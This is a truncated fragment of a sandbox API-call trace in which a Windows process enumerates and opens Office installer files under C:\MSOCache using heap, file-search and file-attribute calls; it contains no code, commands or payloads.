(HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984580 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x987018 [0142.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.085] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.085] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9845a0 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x987120 [0142.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.085] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="")) returned 1 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9845c0 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x987228 [0142.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.086] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="")) returned 1 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9845e0 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x987330 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x987438 [0142.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983f40) returned 1 [0142.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.086] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="")) returned 1 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984600 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983f40 [0142.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.086] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="")) returned 1 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984620 [0142.086] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x987540 [0142.086] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.087] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.087] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984640 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9896a8 [0142.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.087] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984660 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9897b0 [0142.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.087] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984680 [0142.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9898b8 [0142.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.088] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0142.088] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.088] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.088] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.088] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.088] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.088] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9846a0 [0142.088] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9899c0 [0142.088] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.088] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0142.088] GetLastError () returned 0x12 [0142.088] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829bb8 [0142.088] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0142.088] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.088] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0142.088] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989ac8 [0142.088] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.092] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0142.092] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0142.092] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98b690 [0142.093] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98b690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x98b690, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0142.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98b690) returned 1 [0142.093] NtClose (Handle=0x194) returned 0x0 [0142.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989ac8) returned 1 [0142.093] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.093] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.093] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989ac8 [0142.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.093] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989bd0 [0142.093] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829b78 [0142.093] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.094] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0142.094] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.094] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.094] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.094] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.094] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.094] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.094] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0142.094] GetLastError () returned 0x12 [0142.094] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829b38 [0142.094] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0142.094] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.094] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0142.094] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0142.095] GetLastError () returned 0x12 [0142.095] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989bd0) returned 1 [0142.095] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0142.095] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.095] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989ac8) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, 